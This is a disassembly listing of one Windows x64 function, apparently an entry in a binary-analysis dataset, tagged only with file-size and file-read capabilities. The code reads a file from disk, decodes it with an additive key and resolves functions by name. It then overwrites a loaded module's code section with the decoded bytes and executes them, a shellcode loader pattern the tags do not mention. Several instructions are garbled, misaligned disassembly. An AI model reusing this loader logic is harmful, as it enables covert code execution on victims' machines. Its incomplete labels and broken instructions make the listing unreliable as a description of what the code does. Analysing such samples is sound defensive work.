Function at 0x180002690
Capabilities:
Get file size
Read file on windows

Disassembly:
mov al, 0
add byte [rax], al
xor ecx, ecx
call fcn.1800023c6
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov eax, eax
mov qword [rsp + 0xf8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0xf8]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 8]
mov eax, eax
mov edx, eax
mov rcx, qword [rsp + 0x80]
call fcn.180002226
mov dword [rsp + 0x58], 0
mov eax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0xb0]
movzx eax, word [rcx + rax*2]
test eax, eax
je 0x18000273b
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0xb0]
movzx eax, word [r8 + rax*2]
mov word [rdx + rcx*2], ax
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
jmp 0x1800026fa
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x68], 0
mov eax, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x80]
movzx eax, word [rcx + rax*2]
test eax, eax
je 0x180002774
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
jmp 0x180002754
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0x80]
movzx eax, word [rcx + rax*2]
cmp eax, 0x5c
je 0x1800027b3
mov eax, dword [rsp + 0x48]
xor ecx, ecx
mov rdx, qword [rsp + 0x80]
mov word [rdx + rax*2], cx
mov eax, dword [rsp + 0x48]
dec eax
mov dword [rsp + 0x48], eax
jmp 0x18000277c
mov dword [rsp + 0x6c], 0
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0xd0]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x180002806
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0xd0]
movsx ax, byte [rcx + rax]
mov ecx, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x80]
mov word [rdx + rcx*2], ax
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x6c]
inc eax
mov dword [rsp + 0x6c], eax
jmp 0x1800027bb
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 1
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0xffffffffffffffff
jne 0x180002853
jmp 0x180002c6f
xor edx, edx
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x44]
mov eax, eax
mov qword [rsp + 0x100], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x100]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x44]
mov eax, eax
mov edx, eax
mov rcx, qword [rsp + 0x40]
call fcn.180002226
mov dword [rsp + 0x88], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
mov r8d, dword [rsp + 0xa0]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1800028f3
jmp 0x180002c6f
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x20]
mov eax, eax
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
mov dword [rsp + 0xa4], eax
mov rax, qword [rsp + 0x60]
add rax, 4
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x60]
add rax, 4
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x74], 0
jmp 0x18000298b
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
mov rax, qword [rsp + 0x60]
add rax, 4
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0xa4]
cmp dword [rsp + 0x74], eax
jae 0x1800029af
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
add eax, dword [rsp + 0xa8]
mov rcx, qword [rsp + 0x60]
mov dword [rcx], eax
jmp 0x180002973
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x24]
mov eax, eax
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
inc rax
mov rdx, rax
mov rcx, qword [rsp + 0xd8]
call fcn.180002526
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0xe0], 0
jne 0x1800029f9
jmp 0x180002c6f
mov rax, qword [rsp + 0x40]
movsx rax, byte [rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
inc rax
mov rdx, rax
mov rcx, qword [rsp + 0xd8]
call fcn.180002526
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0
jne 0x180002a42
jmp 0x180002c6f
mov rax, qword [rsp + 0x40]
movsx rax, byte [rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
inc rax
mov rcx, rax
call qword [rsp + 0xe0]
mov qword [rsp + 0x90], rax
and al, 0x90
add byte [rax], al
add byte [rax - 0x7d], cl
mov esp, 0x9024
add byte [rax], al
jne 0x180002a85
jmp 0x180002c6f
mov rax, qword [rsp + 0x40]
movsx rax, byte [rax]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x2c]
mov eax, eax
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov eax, dword [rax + 4]
mov dword [rsp + 0xac], eax
mov rax, qword [rsp + 0xe8]
mov eax, dword [rax + 8]
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0xf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x90]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov eax, dword [rax + 0x2c]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x78], 0
mov eax, dword [rsp + 0x70]
lea r9, [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
mov r8d, dword [rcx + 0x40]
mov edx, eax
mov rcx, qword [rsp + 0x98]
call qword [rsp + 0xc0]
mov r8d, dword [rsp + 0x70]
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x98]
call fcn.180002286
mov eax, dword [rsp + 0x70]
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x78]
mov edx, eax
mov rcx, qword [rsp + 0x98]
call qword [rsp + 0xc0]
mov eax, dword [rsp + 0xac]
mov rcx, qword [rsp + 0x98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x118], rax
mov dword [rsp + 0x4c], 0
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x30]
movsxd rcx, dword [rsp + 0x4c]
movsx eax, byte [rax + rcx]
test eax, eax
je 0x180002c15
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x30]
movsxd rcx, dword [rsp + 0x4c]
movsx ax, byte [rax + rcx]
movsxd rcx, dword [rsp + 0x4c]
mov rdx, qword [rsp + 0xc8]
mov word [rdx + rcx*2], ax
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
jmp 0x180002bcf
movsxd rax, dword [rsp + 0x4c]
xor ecx, ecx
mov rdx, qword [rsp + 0xc8]
mov word [rdx + rax*2], cx
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x128], rax
mov byte [rsp + 0x138], 1
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x128]
call qword [rsp + 0x120]
add rsp, 0x158
ret